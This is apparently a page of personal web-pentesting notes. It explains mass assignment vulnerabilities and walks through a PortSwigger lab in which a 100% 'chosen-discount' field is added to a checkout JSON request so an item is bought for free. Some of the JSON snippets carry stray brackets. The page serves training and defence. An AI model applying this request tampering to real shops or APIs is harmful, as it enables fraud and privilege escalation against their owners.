> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/web-pentesting/_vulnerabilities/mass-assignment.md).

# MASS assignment

Mass assignment is a vulnerability that occurs when an application automatically binds user-supplied input (for example, the fields in a JSON request or form) directly to internal data objects or database models without checking which fields the user is actually allowed to set. Because of this, an attacker can simply add extra fields to their request that the developer never intended to be editable - such as `"isAdmin": true`, `"role": "admin"`, `"balance": 9999`, or `"verified": true` - and the application will happily save them. The problem is that the boundary between "fields a user may change" and "fields only the system may change" is missing, so privilege-related or sensitive attributes can be overwritten through a normal-looking request. The risk is privilege escalation, account takeover, or tampering with data the user should never control, which can lead to full compromise. The root cause is trusting client input too broadly and binding it wholesale to internal objects, instead of explicitly allow-listing the specific fields each endpoint is permitted to accept.

<figure><img src="/files/qPmJXwUirnRhlbjgHhSx" alt=""><figcaption></figcaption></figure>

***

**REFERENCE:**

* <https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability>

**1. Crawl the host**

Run a crawler audit to map all endpoints. Also manually click through the happy flows, note the `/api` endpoint, then start the crawler.

**2. Inspect the GET call to `/api/checkout` (chosen-discount)**

```json
{
  "chosen-discount": { "percentage": 0 },
  "chosen-products": [ {  } ]]
}
```

**3. Inspect the POST call to `/api/checkout` (only value is `chosen-products`, no `chosen-discount`))**

```json
{
  "chosen-products": [ { "product-id": "1", "quantity": 470 } ]]
}
```

**4. edit the JSON body, set chosen-discount to 100, the request succeeds and you "purchase" the product**

```json
{
  "chosen-discount": { "percentage": 100 },
  "chosen-products": [ { "product-id": "1", "quantity": 470 } ]
}
```